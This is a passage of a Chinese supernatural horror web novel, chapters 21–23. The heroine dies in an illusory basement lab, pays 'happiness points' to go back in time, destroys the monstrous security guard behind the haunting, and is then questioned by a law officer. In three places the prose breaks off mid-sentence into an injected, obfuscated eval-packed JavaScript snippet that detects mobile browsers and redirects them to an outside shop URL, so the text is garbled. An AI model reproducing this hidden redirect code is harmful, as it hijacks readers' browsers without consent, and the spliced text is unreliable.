但她余光扫过去的时候，看到的不是B2。 她慢慢转过头。 显示屏上清清楚楚地写着B3。 “不可能。”她脱口而出。 她明明按的是B2，电梯也只下降了一层，她出电梯的时候，确认过墙上的标识，那里写着B2。 除非……那个标识是假的。 除非她从踏出电梯的那一刻起，看到的就不是真实的东西。 Zero也看到了那个数字，脸色骤变：“小刃，我们被骗了！” “我知道那个研究员日记是怎么回事了，他看到的全是幻觉，他在躲进去没多久后就死了，根本没有撑过那么多天，所以才没有食物和水！” 走廊尽头，有什么东西在黑暗中发出了沙沙的声音。 空气里的焦糊味突然浓了十倍，呛得温刃咳嗽了一声。 她低头看地面。 地面不再是水泥地，而是一块块老旧的瓷砖，瓷砖的缝隙里嵌着黑色的污渍，有些地方还残留着暗红色的痕迹。 她抬起头。 原本的走廊消失了。 取而代之的，是一个巨大的实验区。 四周排列着一排排圆柱形的实验仓，透明的仓壁上布满了裂纹和污渍。 每一个实验仓里都泡着东西，有些是人形，有些不是。 它们悬浮在浑浊的液体里，身体扭曲成不可能的角度，有的长着多余的手脚，有的皮肤上布满了眼珠一样的斑驳。 所以，她们所待的楼层根本不是负二层，而是负三层！ 刚才的一切，都是某只丧诡制造的幻觉！ 从她踏入这一层开始，就一直在某个东西的操控之下！ 21. 求职怪谈8 就在这时，不远处的尽头。 那是一扇嵌在地板里的门，看起来很厚重，无法被轻易打开，表面有一圈干涸的暗红色血迹，像是从门缝里一点一点地往外渗，然后干透，然后再渗，一层叠一层，颜色深浅不一。 此时，那扇门里传来了敲击声。 砰砰砰…… 这声音一点不均匀。 有时候是“咚、咚”，像钝器击打的声音。 有时候是“咔、咔”，像骨节错乱，像是庞然大物的骨骼正在生长。 有时候是三四个声音叠在一起，像是好几个不同的东西在同时撞同一块铁板。 声音越来越大，越来越密，当你以为它停了，下一击就会突然炸开，吓人一跳，像是有什么东西在门另一边迫切想要出来，又在戏弄外面的人。 Zero飘到门边，低头看着那扇震动的门：“要不要我下去看一看那到底有什么？反正我也不存在，可以穿墙。” 温刃摇了摇头：“不，Zero，千万不要去……” 似乎是听到了温刃说话的声音，门后传来的敲击声越来越沉闷，似乎带有某种难以言喻的呓语。 那种声音进入了温刃的耳朵之后，顺着耳道往里爬，经过鼓膜，经过听小骨，一直钻到了她的大脑深处。 温刃听不清那个东西到底在说些什么。 但可以肯定得是，那些话在进入她脑子后，就像是有了实体，在她的脑海疯狂蠕动，像是又许多密密麻麻的虫子在她的大脑褶皱里面爬行，就连她的身体也失去了大部分掌控，手指无法动弹。 而且，失去掌控的地方在逐渐扩大。 她感觉脑子快要爆炸了。 温刃弯下腰，双手撑住膝盖，大口大口喘息着，只有这样，才能分散她的注意力，让她没有那么痛苦。 不仅如此，她浑身都在发抖，已经彻底失去了理智，无法思考，无法做出下一步的动作。 她能感受到那扇门后东西的压迫感，她的浑身细胞走在叫嚣，让她远离这里。 否则，一定会死的！ 必须快点离开这里，马上！马上！ Zero回过头，看到温刃的脸，她是第一次见到温刃露出这样惊恐又绝望的表情：“你怎么了？” 温刃听到Zero的声音，像是从很远很远的地方传来的。 她的脑子似乎已经完全被那股呓语占据，就连Zero的声音都快听不清了。 但唯一的好消息是，温刃被Zero这么一说，那股压迫感似乎减轻了不少，让她有空思考，有空说话：“刚才我一直在想，这个所谓的领主，为什么要把我引到这里来？” “Zero，我问你个问题，”温刃抬起头，“异能者对于丧诡来说，有什么用吗？” Zero歪了歪头：“并没有什么用，异能者对于丧诡来说，相当于普通人来说是一个更高级的猎物。他们喜欢优先处理异能者，因为杀死这种高阶的猎物，剩下的猎物就不足为惧了。” 温刃点了点头：“所以，这个所谓的领主，第一个目标是想要杀死我，这样其他的一切就不足为惧了。” “而你也知道，这个公司在做某个不为人知的实验，缔造出了某个可怕的东西，才有了那本员工日记。” Zero的表情变得认真起来：“我觉得那个员工日记很有可能是真的，因为这个所谓的领域，是根据领主曾经的记忆所构造的。” “对，”温刃说，“所以，这个公司缔造出了某个可怕的东西，但是它不能随便出来，但一旦有人接近，就会死亡。” “而这件事爆发的地点，就是在曾经的负三层，这也导致负三层的人全部都死掉了。” “这个所谓的领主，从一开始就是让我引起怀疑，让我不敢去负五层，它的目的也不是让我去负五层。” “那里的恐怖东西要是能出来早就出来的，所以它只能引导我，让我来到我自认为的负二层。” “而这个领主的能力，则是制造幻觉或者制造幻境，它扭曲了电梯上的数字，让我自以为来到了负二层，其实来到了负三层，也就是曾经出事的地点。” “也是距离那个怪物最近的地方。” 她抬起头，看着那扇还在震动的门。 “而这个领主，只需要使用一点点能力，就可以让那个实验造物来杀死我，一旦我死了，那么如果还有其他异能者诞生，它可以用同样的方法来杀死这些异能者。” “它有两个能力，一个能力是制造幻觉，另一个能力，就是只要没有响应面试邀请，就会被某种诅咒杀死。” “它做了两手准备，如果我没有响应面试邀请，我就会被那个诅咒能力杀死。” “但我来了，它就可以利用实验体杀了我。” Zero的表情变得愤怒起来：“这个领主实在是太可怕了，简直是一箭双雕！” 温刃没有接话。 因为此时，那扇厚重的大门被打开了一条缝隙。 门缝里渗出了什么东西，一种暗红色的黏稠东西，从那条不到一毫米的缝隙里挤了出来，像是有生命一般疯狂向外蠕动。 那东西经过的地方，就连地面上的灰尘被推到了一边。 一个巨大的，湿润的，像是什么东西在翻身的声音响起，似乎有什么东西出来了。 与此同时，一股浓到令人窒息的焦糊味瞬间逸散开来，温刃弯下腰，剧烈咳嗽起来。 随后，所有的电力系统瘫痪，负三层彻底剩下一片黑暗。 这种感觉很奇怪，温刃睁着眼睛，但什么都看不到，她的手还在，身体还在，但她感觉不到它们了。 那种感觉很奇怪，她知道自己有两只手，她知道它们应该垂在身体两侧，但她无法验证这一点。 就像是…… 她只剩下了一个脑袋一样。 而那些呓语还在。 它们变得更清晰了。 似乎是它们和她的距离变近了。 沙沙…… 这声音从四面八方同时传来，像是整个负三层的每一个表面都在同时被什么东西爬过。 那个东西打开了盖子，从黑暗里爬了出来，还在不断接近。 它有时候会停一下，停的时候你听不到任何声音，然后突然一个加速，极速接近。 温刃额头上的冷汗滴落，流进她眼睛里。 她想动，她想跑，但她的脚像是长在了地上，身体像是被什么东西钉住了。 等等，防护服。 温刃明白了。 防护服不是用来保护她的，是用来固定她的。 这身衣服的材料在某种力量的作用下变得僵硬，把她牢牢地锁在了原地。 再加上那个东西出现的压迫感，她现在连动一根手指都很困难。 她从一开始就被算计了，那个领主就是要她死在这里。 “Zero……”她张嘴想说话，话说出来后，却一点也听不到自己的声音。 那种感觉很奇怪，就像是五感都被剥夺，变成了一个独立于世间的存在。 她变成了一个只有“意识”的存在。 唯一存在的，是那个东西的拖行声，和那些呓语。 呓语变得更密了。 它们变成了图像。 温刃的眼前开始出现一些不是她记忆中的画面，什么扭曲的走廊，倒挂的灯，一扇一扇半开的门，门后面有什么东西在看着她…… 这似乎不是她的记忆。 而是那个东西的。 她的意识被那个东西入侵了…… 此时，防护服外，Zero焦急大喊一声：“小刃，快走啊，别留在这里的！” Zero穿过防护服，和温刃四目相对。 温刃的脸似乎在扭曲，五官错乱，眼睛长到了下巴上，嘴巴长到脑门上，就连鼻子都长到了脖子上。 她的脸在扭曲，像是海浪一样泛起波涛。 她的嘴巴在说话，在源源不断蠕动着，可说出来的，却不是人类的语言。 Zero靠近了一点。 温刃好像终于恢复了一点五感，能听到Zero的声音了，眼里也多了一些光。 只是Zero在她眼里歪七扭八的，很是奇怪。 她看不到那个家伙，但她能感觉到它在移动，向着她一点点走来。 温刃在这个时候甚至可以理解，为什么那位研究员会写下如此疯狂的日记。 她现在感觉理智疯狂下降，有时候甚至会跟着一起说出那种晦涩难懂的词汇。 她似乎一点点再被同化。 太恐怖了，负四层到底藏了什么东西？ 那负五层呢？ 又有什么？ “Zero，你还记得你之前对我说过的话吗？”温刃直到咬破了自己的舌头，才憋出一句话。 Zero点头：“记得，因为我对你说过，死亡会获得新生，但是会支付代价！” “Zero，我不会死。”温刃说。 “小刃，我帮你看看，那到底是什么东西……”Zero似乎下定了决心，离开了防护服，对着黑暗传来声音的方向缓缓转过了身子，发出了大笑声。 那不是Zero的声音，那种声音格外诡异，跟附着在温刃耳畔的呓语有些像，像是从Zero的喉咙里长出来一个人一样。 “哈哈哈哈哈……” Zero的笑声在黑暗中回荡，一声接一声。 笑声越来越快，越来越高，高到了人类声带不可能达到的音域。 甚至已经压过了那个家伙发出的动静。 “我想起来了，”她尖叫着，发出绝望颠笑，“我想起来了，哈哈哈哈哈哈……” Zero想起来了什么？ 温刃不知道。 她只看到Zero的身体在半空中抽搐了一下，像被一只看不见的手从内部揪住头发，狠狠向后拉。 Zero的头后仰到极限，脖子上的青筋暴起，嘴巴张成一个不可能的角度，笑声从那个黑洞一样的嘴里涌出来，源源不断。 温刃呼吸越来越急促，心中的那股不安感愈发强烈。 Zero只是看了一眼，就看了一眼，然后她就疯了。 她不是灵体一样的状态吗？居然可以被触碰，被影响…… 黑暗里到底是是什么？ 不属于人类那般庞大的呼吸声自耳边响起，那些呓语越来越嘈杂。 温刃闭上眼睛。 她感觉到那个东西已经到了她的面前，覆盖在面前。 就连原本被压制的触手都发生了躁动，左手失去了原本的模样。 温刃从触手的眼睛里，看到了那个家伙。 虽然只是一瞬间。 她感觉到了自己正在被理解，被同化。 温刃听到自己的声音从很远的地方传来，像是另一个人在说话。 她听不清那个声音在说什么了。 然后…… 在她感觉到自己彻底扭曲变成一团不可名状之后，一切结束了。 她死了。 * “哈……哈……” 温刃睁开眼，捂住胸口剧烈喘息着。 她躺在地上，躺在松软如同血肉的大地上。 恐怖，太恐怖了。 刚才那个东西是她见过最恐怖的东西。 现实世界里怎么会有这玩意？ 好在，进入这片空间后，她就好像忘记了那个东西的存在，那种莫名污染也被洗清了。 不远处，那把庞大又圣洁的巨剑还伫立在大地之上，符文依旧散发着光泽，对比起上次，这里没有发生任何变化。 温刃看着那把剑，终于松了一口气：“看来，无论我在哪里死亡，最终都会回到这里。” 【你失去了生命】 【是否支付代价，以换取重来一次的机会？】 那个未知存在的声音又响了起来。 温刃沉默了一会儿：“是，我要回去。” “我想回到进入那栋楼之前。” 她不想再碰那栋楼了，那个地方太可怕了。 新辰科技制造出来的东西，那种不可理解，看一眼就会让人疯狂的存在，根本不是她现在能对付的。 好在那东西似乎被封印在了负四层，至于负五层还有什么更可怕的东西，她不想知道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507350|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她真没劲折腾了。 【你需要支付20点幸福值】 20点？ 简直比上次多了一倍，这个家伙太黑心了吧，温刃咬了咬牙。 【你只会回到之前的时间节点，剩下的靠你自己了】 温刃咬咬牙，以后得小心谨慎了，她不能太依赖这个怪物，否则会陷入万劫不复：“我同意。” 【交易成功】 剑身上的符文开始消散，二十个血色符文碎裂成无数细小的光点，在空气中飘散。 温刃听到了某种怪异的低语，她还想凑近耳朵去听。 下一秒，她就被踢了出去。 * “哎呀，你是来应聘的吧？”面试官的声音在耳畔响起 温刃睁开眼睛，不远处一个穿着西装的男人站在门口，手里拿着一个文件夹，正朝她招手。 她的身后，Zero飘在那里，歪着头看她：“小刃，你愣神干什么？” 温刃发现自己站在主楼的门口，手里还攥着那张传单。 【面试倒计时，仅剩4分钟】 她回来了。 温刃把传单叠起来塞进口袋里：“Zero，我跟你说件事。” “我怀疑，不，我敢肯定，这一切就是为我做的局，领主能感受到我这个异能者的存在，专门为我设置了一个局。” “或许，从一开始，烬寻的电话就是假的。” “那个电话或许是它为了吸引我过来，故意制造的幻境。” * 厂区外面。 一辆黑车停在路边，车窗摇下来一半。 顾景骁坐在驾驶座上，手里拿着一个罗盘，正在跟旁边一个穿道袍的老头说话。 叶令美站在车外面，双手抱胸，一脸凝重。 “张大师，”顾景骁指着厂区的大门，“您看这个地方，是不是有问题？” 张大师留着花白的胡子，穿着一件洗得发白的道袍，手里也拿着一个罗盘。 他盯着罗盘看了半天，脸色越来越难看。 “此地大凶，”他缓缓开口，“大凶啊。” 旁边另一个大师凑过来，手里拿着一串佛珠，紧皱眉头：“贫道也看出来了，此地煞气极重，绝非寻常之地。” “那能进去吗？”顾景骁问。 张大师摇了摇头。 “进不去，”他说，“贫道……贫道害怕，这个地方的问题太大了，不是我等能解决的。” 顾景骁眨了眨眼：“这么凶啊？” 叶令美一把把他拽过来，压低声音说：“你这不是废话吗？你看那个，好几个执法官都站在门口了，那不是问题大了吗？他们堵在门口，普通人肯定进不去啊。” 顾景骁顺着她的视线看过去。 厂区门口站着好几个人。 都穿着深色的制服，腰间别着枪，表情严肃。 为首的是一个短发女人，穿着一件深色的夹克，里面是黑色的高领衫，整个人看起来又干练又不好惹。 是季舒言。 “那我们要不要过去帮忙？”顾景骁问。 叶令美看了他一眼。 “我感觉这些执法官都解决不了，”顾景骁挠了挠头，“咱们过去好像也没多大用啊，我看他们连进都进不去，看他们的表情，明显是被堵在外面了，我怀疑这里面有超自然力量。” 叶令美的表情缓和了一些：“你好像终于聪明了一回。” 顾景骁正要说什么，他的手机突然响了。 嗡嗡嗡。 屏幕上显示的是一个陌生号码。 “电话电话！”叶令美示意他看手机。 顾景骁盯着屏幕，犹豫了两秒，然后按下了挂断键。 “万一有问题呢？”他当然知道，这个怪谈是通过手机传播的。 陌生的号码不能接，熟悉的也不能接。 没过多久，手机又响了，还是那个号码。 顾景骁又给挂了。 对方第三次打过来，他又挂了：“哎呀，烦不烦啊，要我看，这是推销电话吧，这么敬业。” 还好，那个陌生号码第四次打过来之后，没过多久就挂断了。 顾景骁手机震了一下一条短信发了过来。 他点开，看了几秒，表情从得意变成了困惑。 【会长，你在干啥？我是烬寻，我的手机丢了，换了一个新号码】 叶令美凑过来看了一眼，两个人对视了一下。 顾景骁开始打字。 【你不是去面试了吗？】 对面很快回复了。 【烬然是你：对啊，面试失败了，人家不要我】 顾景骁皱了皱眉。 【骁张跋扈：你不是去新辰科技面试吗？我们给你打电话也打不通】 对面停了几秒。 【烬然是你：？】 【烬然是你：我是去苏武生物科技有限公司面试的，我去新辰科技干什么？那地方好像早就被烧了吧，我不傻】 【烬然是你：而且我手机丢了，卡也跟着丢了，你们打电话肯定打不通啊】 可这通电话偏偏打通了，只是没人说话。 顾景骁突然僵在原地，不知为何，他突然觉得毛骨悚然。 烬寻不是说他在新辰科技吗？顾景骁记得自己还有聊天记录来着。 烬寻还在发消息。 【烬然是你：话说我第一个给温刃打的电话，她怎么没接，一直显示占线】 顾景骁没有回复，他翻到之前的聊天记录，不断往上翻。 【烬然是你：我去新辰科技面试】 那行字突然一阵扭曲，像是覆盖的东西被撤掉了一样，显露出原本的文字。 【烬然是你：我是去苏武生物科技有限公司面试】 烬寻原本的消息其实是这个！ 有某种东西，改变了文字，让他们误以为烬寻出事了。 顾景骁抬起头，只觉得毛骨悚然，看向叶令美，一阵哆嗦：“我没看错吧？” 叶令美的脸色很白：“你没看错。” “我怀疑，真正被怪谈盯上的人……” “是温温。” 22. 求职怪谈9 这一次，温刃没有管那个面试官的呼喊。 她转身，快步离开了主楼的门口，走到一片空地上。 Zero飘在她身边，一脸不解。 “小刃，你怎么不面试了？”Zero问，“传单上的倒计时还在走呢，一旦结束会死掉的。” 温刃没有回答这个问题，她站在那里，看着那栋倒置的楼，脑子里飞速地转着：“Zero，你知道当时那场大火发生的时候，是在这栋楼里，那么，谁离这栋楼最远？” Zero歪头想了想，然后她的表情变了：“是保安，保安离得最远。” “对，”温刃说，“保安就是当年的幸存者，但不知道什么原因，他居然变成了丧诡。” 她顿了顿，目光移向不远处的保安亭。 那扇漆黑的窗户后面，那个模糊的人影还站在那里，一动不动。 温刃继续说道：“其实，我找了一圈，并没有看到烬寻的身影，也没有看到和他长得像的丧诡，说明他根本没有进来。” “这所谓的丧诡领主利用烬寻的手机制造幻觉，让我解救烬寻，又中他的圈套，他一步步把我引诱到这里，就是为了借当年的实验体来杀死我。” “因为……他不确定我有多强，不确定我的实力，所以最好的办法，就是他自己不动手，让负四层的那个东西来动手。” “简直是可怕的计划。” 温刃说完这句话后沉默了。 一个保安都能有如此可怕的计谋，那周正明呢，他是不是也有什么算计？ 那个巨大的丧诡，是不是也这么可怕？ 但周正明已经被那个漆黑的存在杀死了。 他再有什么计谋也没用了。 温刃：“现在，咱们要用这仅剩的四分钟诅咒时间，超度他。” Zero抬起手腕，看了一眼幸福手环。 “唉？”她的声音拔高了，“怎么幸福值变成十四了？” 要知道，幸福值这种东西不是随便跌落的，温刃又没有在这个环境里感受到不幸，她们才进来没多久。 她看向温刃，意识到了什么：“支付代价……小刃，难道你已经死过了？” “怪不得你好像什么都知道一样。” 温刃没有解释，她转身，朝保安亭走去。 保安亭的窗户后面，那个人影动了。 他从里面走出来，站在门口，露出微笑：“小姑娘，你是找不到地方吗？需要我帮忙吗？” 温刃摇了摇头：“不，我已经找到了。” “我找到你了，丧诡的……领主。” 保安脸上的笑容僵住，他皮肤上浮现出一块一块的焦黑色，从额头开始向下蔓延。 他的身体开始软化，骨骼消失，肌肉塌陷，整个人松松软软地趴到了地上，变成了一条蛇一样的形状。 “你居然发现了。”他冷哼一声，身体在地面上扭动，尾巴一样的下半身卷曲起来，支撑着他的人形上半身。 “本来还想让你去实验室的，结果你居然还不去，真是可惜了，本来我不想出手的。”他的声音沙沙作响。 温刃现在明白那种沙沙的声音是怎么回事了，那是保安的腿在地上，像蛇一样前进，就会发出那样的声音。 就在此时。 从各个建筑里有无数个人影走了出来，那些穿着白大褂的科研人员，包括穿着工装的员工，就连摔落的面试官也完好无损爬了出来。 他们都是丧诡，也是保安领域里演化的存在，密密麻麻的。 丧诡的恢复力还真是惊人。 温刃知道，如果把幸福值浪费在那些人身上，她没过多久也要变成丧诡。 而现在最好的解决办法，就是超度保安，彻底结束这一切！ 但保安显然也明白这一点。 他没有冲上来，而是缩在丧诡群的后方，那条蛇尾在地面上快速游动，带着他不断变换位置。 “你不是会异能吗？”他的声音从四面八方传来，因为使用了幻觉能力，他似乎能变成任何一个人，“来啊，来抓我啊。” 温刃记得，丧诡的核心在眉心，只有取出核心，放在手环上，才能被超度。 “可是我没有手环。”温刃说。 Zero眨了眨眼：“小刃，那就试着放到我手腕上吧，毕竟我的手环显示的是你的幸福值，说不定能被你使用。” 温刃点了点头。 她抬起手：“【侵蚀】。” 话音落下的瞬间，挡在保安前面的两只丧诡突然惨叫着倒下，它们的身体像被橡皮擦擦去一样，从胸口开始消失。 但保安趁机滑开了，只被擦到肩膀，一块皮肉凭空消失，露出下面灰白色的肌腱。 他发出一声痛呼，眼神变得凶狠：“果然，你的能力一点也不简单……” 更多的丧诡涌上来，层层叠叠地挡在他面前。 温刃感觉到幸福值在下降，精神也变得越来越不稳定。 现在幸福值只剩下十二点了。 她不能中了保安的计谋，她不能再用【侵蚀】清小怪了，她必须一次命中。 “Zero，”她低声说，“帮我指他的位置。” Zero飘到半空，穿过丧诡群的身体，锁定了保安的方位：“左边三步，他在那个垃圾桶后面！” 温刃猛地转身，对准那个方向，把所有注意力集中到一点，对准保安的眉心：“【侵蚀】！” 话音落下的刹那，保安像是感受到了什么，发出尖叫：“啊啊啊！” 保安的额头居然像是被橡皮擦擦去一般，一点点消失，露出他的大脑，还有眉心的核心。 他能感觉到，一旦眉心的那个东西被取出来，他可能会死！ 这是他的本能，他的意识再告诉他，绝对不能被面前的姑娘碰到眉心的晶体。 他的身体开始剧烈地扭动，那条蛇一样的尾巴在地上疯狂地拍打，溅起一片焦黑的尘土。 他伸出双手，想要捂住额头上的洞，但是怎么也捂不住，大脑都露了出来。 “你，你不能……” 周围的丧诡群突然停住动作，像是失去了控制。 “Zero！”温刃喊了一声。 Zero冲上前去，把手腕贴在了晶体上，那晶体滋滋作响，温刃能感觉到幸福值在被迅速抽空。 Zero的手环果然有用！ 保安发出了一声尖叫，他的身体开始消散，从尾巴开始，一点一点地化为灰烬。 “不要……不要……” “求求你了，我好不容易才活下来……我好不容易才从那场大火中活下来啊……” “我还有孩子，我还有等我的家人，你让我去给他们报个平安好不好……” “可是，哪怕活着，我们无法离开这里，我们被诅咒了。” “姑娘啊，我真不是想要害你的，不要杀我好不好……” 他的眼睛看着温刃，浑浊的瞳孔里有什么东西在闪烁。 “我们没有人能离开这里……我们早都被诅咒了……你不要杀了我好不好？我求求你……” 见温刃不理他，保安的眼睛忽然变得凶狠：“该死的，你也别想好过！” “你以为你能逃掉吗？” 核心开始发光，然后碎裂，化为无数细小的光点，被吸进Zero的手环里。 保安发出最后一声尖叫。 他的身体从尾巴开始，一寸一寸地化为灰烬。 “你……你以为你赢了吗？”他的眼睛死死盯着温刃，“这里……不会消失的……你也会……” 话没说完，他的嘴巴也化为了灰烬。 灰烬散了一地，被风吹起来，在空中飘散。 周围的那些人也开始消失，他们跟保安一样，一个接一个地化为灰烬，像是从来没有存在过一样。 那些原本崭新的楼房开始褪色。 白色的墙壁变成焦黑的残垣，明亮的窗户变成破碎的黑洞，绿油油的草地变成光秃秃的焦土。 一切都在变回它本来的样子。 温刃站在原地，看着这一切。 然后她感觉到了一股消极情绪，这就是幸福值消耗过多的不良后果。 各种负面情绪压了过来，让温刃一下子受不住，眼泪飙出。 她好痛苦，好想死。 死了……一切就能解脱了。 “小刃，”Zero ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“温温，”叶令美一把抱住她，抱得特别紧，“你吓死我了知不知道，我们给你打了十几个电话你都不接。” 温刃被勒得有点喘不过气：“我，我没事……” 还没被丧诡杀死呢，她感觉自己快要被勒死了。 “没事什么啊，”叶令美一脸担忧，“你一个人跑进去，我们只能在门口干等，你知道我有多害怕吗，我以为你也要失踪了！” 顾景骁站在旁边，挠了挠头，想说什么又没说出来，最后只能说道：“姐，你下次能不能带上我啊？我虽然胆子小，但我有钱啊，我可以给你买装备。” 烬寻站在稍远一点的地方，没有说话，但他的目光一直盯着温刃，上下打量了一遍，确认她身上没有明显的伤口之后，才微微松了一口气。 “你手机打不通，我给你打了电话，你没接，我就只能给顾景骁打电话，”他说，“我的手机之前丢了，找不到了，换了一个新卡。” 温刃愣了一下，摸了一下口袋，手机不知道什么时候没电了：“让你们担心了。” 叶令美松开她：“你以后再这样，我跟你绝交！” “好好好。”温刃笑了。 Zero说：“小刃，幸福值上涨了，现在是7，你的朋友们真的很关心你呢，有这样的朋友真幸福。” 温刃送了一口气，至少现在没有之前那么危险了。 顾景骁突然凑过来：“话说，温姐，那个怪谈……解决了？” 温刃点了点头。 “厉害啊！”顾景骁差点跳起来，“我就说你肯定有本事，下次再有这种事，我第一个找你！” 烬寻看了他一眼：“你还想有下次？” 顾景骁缩了缩脖子：“我说错了，没有下次，没有下次。” 四个人站在那里，阳光从云层里漏下来，照在他们身上，暖洋洋的。 温刃觉得心里那股消极情绪又淡了一些。 就在这时，身后传来一个冷静的女声。 “温刃。” 四个人同时转头。 一个短发女人站在不远处，穿着深色夹克，黑色高领衫，腰间别着枪。 她的身后，还站着好几个同样制服的执法官。 是季舒言。 她往前走了一步：“温刃。” “你得跟我们走一趟。” 23. 审讯 执法局。 审讯室很狭窄，只有一张桌子，两把椅子，墙角有一个摄像头，对着这里记录。 温刃坐在椅子上，这还是她第一次进执法局，说实话，她有点紧张。 平常叽叽喳喳的Zero暂时也不在身边。 季舒言坐在她对面，手里拿着一个文件夹。 她的旁边还坐着一个男执法官，二十来岁，表情严肃，看起来不太好说话。 “温刃，”季舒言问，“你为什么去那里？” 温刃早就想好了说辞：“我的朋友叫我过去的。” “哪个朋友？”季舒言又问。 “烬寻，他也是我的高中同学。”温刃说。 季舒言低头翻了几页，抽出一张通话记录推到温刃面前。 旁边的男执法官突然开口：“你别跟我们绕弯子，那个地方已经被封了，你一个大学生，跑进去干什么，你是不是知道什么内情？” 温刃看了他一眼：“我说了，我朋友叫我去的。” “哪个朋友，叫什么，电话多少？我们核实过了，你那个朋友烬寻的手机丢了，根本联系不上你，你到底在隐瞒什么？”那个男人继续说道。 季舒言抬了一下手，示意他先别说话。 她翻到下一页，把一张通话记录推过来：“这个号码，你认识吗？” 温刃低头看了一眼，这不就是新辰科技前台的电话吗？ 顾景骁之前发给她的资料里就有这个。 “这个号码不存在，”季舒言说，“一个不存在的号码，是怎么打通你电话的？” 温刃没有说话。 男执法官又开口了：“这件事涉及多条失踪案，甚至有执法官失联，我们需要知道，你到底在里面看到了什么？你是怎么进去的？为什么监控拍到你凭空消失了？” 温刃不语，这不就是在逼问吗？这个执法官怎么这么急。 季舒言皱了皱眉，转头看了男执法官一眼：“小陈，你先出去。” “什么？”小陈愣了一下，“我还没问完呢。” “我说，你先出去。”季舒言眼神瞬间冷了下来。 小陈张了张嘴，想说什么，但对上季舒言的目光，还是没有说话，灰溜溜退了出去。 门关上了。 审讯室里安静下来。 季舒言站起来，走到墙角，伸手按了一下摄像头的开关，直接关掉。 她又回到座位上，把桌上的录音笔也关掉了。 然后她看着温刃：“现在，只有我们两个人了。” “刚才那位是我的同事，小陈，他本来不该处理这起案子，因为就在两周前，他的父亲，也是一位执法官，失踪于新辰科技，就连尸体都没找到。” “所以，他才会表现冲动，或许觉得你是这起事件的唯一线索了。” “我们该聊聊新辰科技。” 温刃抬起头，她总感觉很奇怪，这位女警官为什么偏偏要关掉摄像设备？ 难道要说某种不能被记录的事情吗？ “我在保安亭里看到了一个东西，”季舒言继续说，“就在你进去之后没多久，我看到了那个东西的存在。” “那是一个保安，他只有一条腿，那条腿软绵绵的，就像是蛇的尾巴……” “我只看到了一瞬间，他就消失不见了。” “但其他人都没有看到，起初，我还以为那是我的幻觉，可我知道，我的精神压力还没有那么重。” 听到此处，温刃心里一惊，难道这位女警官了解丧诡吗？ 难道，现实世界也有专门处理丧诡的组织吗？ 可下一句话，让她心里的希望破灭了。 季舒言很郑重说道：“所以，我相信你，你不是在撒谎，但我要知道真相，那是什么？” 温刃沉默了很久，看来这位女警官并不知道丧诡究竟是什么，只是那个保安许是在使用能力的时候，身影从领域里具现出来才被看到了。 “那是丧诡。”温刃说。 “丧诡？”季舒言一脸惊讶。 温刃点点头：“是，丧气的丧，诡异的诡，这是一种由人类的不幸而诞生的怪物。” “它们不是魂魄，更像是某种变异生物，它们是人类幸福归零之后，由人类变成的东西。” “想要不变成丧诡，就要保证自己幸福。” 温刃不知道该怎么解释，这个世界并没有幸福手环这个设定，但面前敬职敬业的女警官还是让她想多透露一些。 毕竟，她需要让任何人都不去接触新辰科技，不去接触那个可怕的实验室。 这需要女警官的帮助。 季舒言听到这话皱紧眉头，陷入沉思。 “我没有搞懂它为什么会出现，”温刃继续说，“但那栋楼里的那个保安，就是丧诡，它是十年前那场大火的幸存者，后来变成了那样，许是因为这些年太痛苦而产生了变化。” “你把它解决了？”季舒言问。 温刃：“嗯。” 季舒言：“怎么解决的？” 温刃犹豫了一下：“我没办法详细解释，但你可以理解为，它已经不存在了，再也不会危害世界了。” “只是这种存在很特殊，他们无法被直接杀死。” “但，那片区域很危险，我不建议你们放其他人进去。” “我能说的就这么多了。” 季舒言盯着她看了很久，随后拿出了一张名片：“我叫季舒言，这是我的私人电话，我希望你可以与我保持联系，现在你没有任何事，可以出去了。” 温刃有些意外：“就这样？” “就这样，”季舒言说，“我没有证据证明你犯了什么罪，而且，就算有，我也不知道该用什么罪名来起诉一个解决怪物的人。” “温刃，我相信你。” 她走到门口，拉开门，侧身让出路。 “但是，”季舒言看着温刃，“如果以后再有这种事，我希望你能告诉我，我想知道，这个世界到底怎么了。” 温刃点了点头，站起来走了出去：“谢谢你相信我，季执法官。” * 审讯室外的走廊里，小陈正靠在墙上抽烟。 看到温刃出来，他掐灭了烟头，快步走回审讯室。 “你就这么放她走了？”小陈一脸疑惑，“她嫌疑最大，凭空出现在封区，现场只有她一个人，万一她就是凶手呢？” 季舒言正在整理文件夹，头都没抬：“你有证据吗？” 小陈：“就是因为没有证据才要审啊，她明显在隐瞒什么，我的父亲不能这么白白死了……” 季舒言摇头：“她有不在场证明，而且，现场没有任何凶器，没有受害者，你告她什么？” 小陈被噎了一下，但很快又开口：“那她怎么解释凭空消失又凭空出现？这太诡异了，她肯定有问题！” 季舒言终于抬起头，看了他一眼：“我会盯着她的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507352|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 老陈张了张嘴，还想说什么。 季舒言把文件夹夹在腋下，从他身边走过：“小陈，执法官做事，最忌讳被理智冲昏头脑。” “我知道你因为父亲很伤心，但你应该冷静下来，我们要做出冷静的判断。” 